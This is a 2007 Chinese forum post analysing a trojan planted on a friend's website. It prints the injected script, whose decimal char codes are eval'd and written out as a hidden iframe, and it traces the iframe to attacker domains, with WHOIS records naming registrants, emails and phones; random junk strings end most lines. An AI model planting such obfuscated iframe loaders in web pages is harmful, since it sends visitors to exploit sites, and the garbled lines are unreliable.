社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5430阅读
  • 2回复

[原创]一篇刚写的分析木马手记

级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

首发在我的博客里面, l0&U7gr  
e~1$x`DH  
http://www.areway.cn/?p=175 XS_Ib\-50  
v(GT+i)|  
qX"m"ko  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: eZbT;  
          By;{Y[@rS  
<script>t=’60,105,102,114,97,109,101, .  g8WMm  
32,115,114,99,61,104,116,116,112,58,47,47, {P7 I<^,  
102,114,101,101,46,117,45,117,117,117,46,99, _8{6&AmIw  
110,47,101,114,114,111,114,46,104,116,109, DQy;W  ov  
32,119,105,100,116,104,61,49,48,48,32,104, &0Bs?oq_  
101,105,103,104,116,61,48,62,60,47,105,102, )VM'^sV?  
114,97,109,101,62′; ]vQU(@+I  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> JTS<n4<a  
                                                                                                  m`!Vryf  
<script>t=’60,105,102,114,97,109,101,32,115, D>6vI  
114,99,61,104,116,116,112,58,47,47,102,114, *7`amF-  
101,101,46,117,45,117,117,117,46,99,110,47, "t >WM  
101,114,114,111,114,46,104,116,109,32,119, +'`I]K>  
105,100,116,104,61,49,48,48,32,104,101,105, Yw6d-5=:  
103,104,116,61,48,62,60,47,105,102,114,97, jQ X9KwSP  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Egm-PoPe  
document.write(t);</script> X B[C&3I  
                                                                                                  J,_IHzO~Z  
<html xmlns=” @"vTz8oY@  
http://www.w3.org/1999/xhtml q6T>y%|FZ  
“> Pm=i(TBS/  
<head> q+1SU6x'm  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> JfVGs;_,  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> JPmZ%]wA  
<title>首页 - 爱生活家庭网 f eA(Rj  
                                                                                                                                                    ,0^9VWZV  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 5cZKk/"Ad}  
转换字符串后的大概内容是(谁点击后果自付): KKGwMJku}  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… JrJTIUf_  
                                                                                                                                  ;yDXo\gm  
查询玉米u-uuu.cn的详细信息: "SFs\] Z  
Domain Name: u-uuu.cn <,+6:NmT  
ROID: 20070901s10001s64972306-cn m'"Ra-  
Domain Status: ok FZ@8&T   
Registrant Organization: 王雷 G_5E#{u  
Registrant Name: 王雷 1vL$k[^&d  
Administrative Email: czlovexs@126.com G1S:hw%rp  
Sponsoring Registrar: 北京万网志成科技有限公司 ;_D5]kl`  
Name Server:ns.yovole.com pWN5>HV  
Name Server:ns1.yovole.com n1@ Or=5  
Registration Date: 2007-09-01 17:54 Mw{skK>b  
Expiration Date: 2008-09-01 17:54 -z?O^:e#x  
最后PING了一下地址 都没有什么…. _/RP3"#  
                                                                                                ^SJa/I EZ.  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. | X0Ys8f  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> I%# e\  
<script language=”javascript” src=” n,o;:c  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script idGhWV'  
> tbq_ Rg7s  
这个玉米应该有可能是木马作者的: >YP]IQ  
foafau.info的详细信息: &k0c|q]  
Access to INFO WHOIS information is provided to assist persons in gt:Ot0\7  
determining the contents of a domain name registration record in the (IIOVv 1J  
Afilias registry database. The data in this record is provided by =:pN82.G  
Afilias Limited for informational purposes only, and Afilias does not .,( ,<  
guarantee its accuracy.  This service is intended only for query-based J>S`}p  
access. You agree that you will use this data only for lawful purposes s[tFaB1  
and that, under no circumstances will you use this data to: (a) allow, 1`@rAA>h'  
enable, or otherwise support the transmission by e-mail, telephone, or v}^ f8nVR  
facsimile of mass unsolicited, commercial advertising or solicitations !Z`xwk"!  
to entities other than the data recipient’s own existing customers; or -"X} )N2  
(b) enable high volume, automated, electronic processes that send Rss=ihlM  
queries or data to the systems of Registry Operator, a Registrar, or  !#Hca  
Afilias except as reasonably necessary to register domain names or oQ_n:<3X  
modify existing registrations. All rights reserved. Afilias reserves cwKOE?!  
the right to modify these terms at any time. By submitting this query, -nKBSls  
you agree to abide by this policy. J6*B=PX=(  
Domain ID:D22418703-LRMS T7!=KE_z  
Domain Name:FOAFAU.INFO n+;PfQ|  
Created On:20-Nov-2007 16:05:42 UTC Bl8&g]dk  
Last Updated On:20-Nov-2007 16:05:44 UTC ~zA{=|I2  
Expiration Date:20-Nov-2008 16:05:42 UTC G##^xFx  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ;WpPdR2  
Status:CLIENT DELETE PROHIBITED !Knv/:+  
Status:CLIENT RENEW PROHIBITED {1j[RE  
Status:CLIENT TRANSFER PROHIBITED ||vQW\g  
Status:CLIENT UPDATE PROHIBITED EL=}xug,?  
Status:TRANSFER PROHIBITED ?$\y0lHw/7  
Registrant ID:GODA-040110615 (!&g (l;  
Registrant Name:liu hong uH?lj&  
Registrant Organization: x1ID6kI[{*  
Registrant Street1:beijing DozC>  
Registrant Street2: uyDYS  
Registrant Street3: 4!r> ^a  
Registrant City:beijing ;r XhK$  
Registrant State/Province: %D:5 S?{  
Registrant Postal Code:100000 Ch9A6?=Hj8  
Registrant Country:CN q{t"=@lX01  
Registrant Phone:+86.860108888777 hhvP*a_J  
Registrant Phone Ext.: -!p -nk@9|  
Registrant FAX: p; ZEz<M  
Registrant FAX Ext.: Q|W!m0XO  
Registrant Email:bbbshiji@163.com : j m|)  
Admin ID:GODA-240110615 7OOod1  
Admin Name:liu hong hT<:)MG)+K  
Admin Organization: C JNz J(  
Admin Street1:beijing 3tTz$$-#  
Admin Street2: QU{\ClW/?  
Admin Street3: lt&30nf=  
Admin City:beijing I NE,/a=  
Admin State/Province: mmn1yX:d  
Admin Postal Code:100000 ,w/f :-y  
Admin Country:CN (B zf~#]~  
Admin Phone:+86.860108888777  YErn50L  
Admin Phone Ext.: 5bzYTK&-  
Admin FAX: WsCzC_'j.  
Admin FAX Ext.: !%2aw0Yv  
Admin Email:bbbshiji@163.com +6* .lRA  
Billing ID:GODA-340110615 <.<Q.z  
Billing Name:liu hong N#`aVW'{v2  
Billing Organization: 7" wn0 24  
Billing Street1:beijing :`ysq  
Billing Street2: w5(GRAH  
Billing Street3: Z0e+CEzq  
Billing City:beijing C4P7,  
Billing State/Province: /fM6%V=Y  
Billing Postal Code:100000 jdYv*/^  
Billing Country:CN |k4ZTr]?  
Billing Phone:+86.860108888777 q61 rNOw_  
Billing Phone Ext.: )>LC*_v  
Billing FAX: r4c3t,L*$I  
Billing FAX Ext.: PHa#;6!5  
Billing Email:bbbshiji@163.com uhLg2G^h  
Tech ID:GODA-140110615 ab 1\nzpd  
Tech Name:liu hong &xqe8!FeA  
Tech Organization: \g}FoN&  
Tech Street1:beijing g/q$;cB  
Tech Street2: =;3|?J0=  
Tech Street3: CFh&z^]PR  
Tech City:beijing Te#wU e-|  
Tech State/Province: ^IGTGY]s  
Tech Postal Code:100000 H\3CvFm  
Tech Country:CN m(3bO[u1  
Tech Phone:+86.860108888777 t747SZWgB  
Tech Phone Ext.: vN7ihe[C  
Tech FAX: '}5}wCLA  
Tech FAX Ext.: ~^"cq S(  
Tech Email:bbbshiji@163.com HC8{);  
Name Server:NS27.DOMAINCONTROL.COM ZX.VzZS  
Name Server:NS28.DOMAINCONTROL.COM % KY&E>^  
Name Server: EVj48  
Name Server: #V8='qD  
Name Server: ,9#G/nF  
Name Server: ANCgch\  
Name Server: %;zWS/JhL  
Name Server: 7q|(ZZa  
Name Server: &T}v1c7)  
Name Server: U<r<$K  
Name Server: &fj&UBA  
Name Server: C({L4O#?o  
Name Server: kkrQ;i)Z  
                                                                                                          N_VAdNJ^:  
接着下载每个文件里面的代码: PSHs<Z47  
一步一步看.. ,oP-:q!PC  
^%d+nKx9nL  
3a{QkVeV7  
hP,1;`[1  
wrn[q{dX  
?k_=?m  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 店掌柜
发帖
4241
铜板
744
人品值
897
贡献值
7
交易币
0
好评度
2216
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五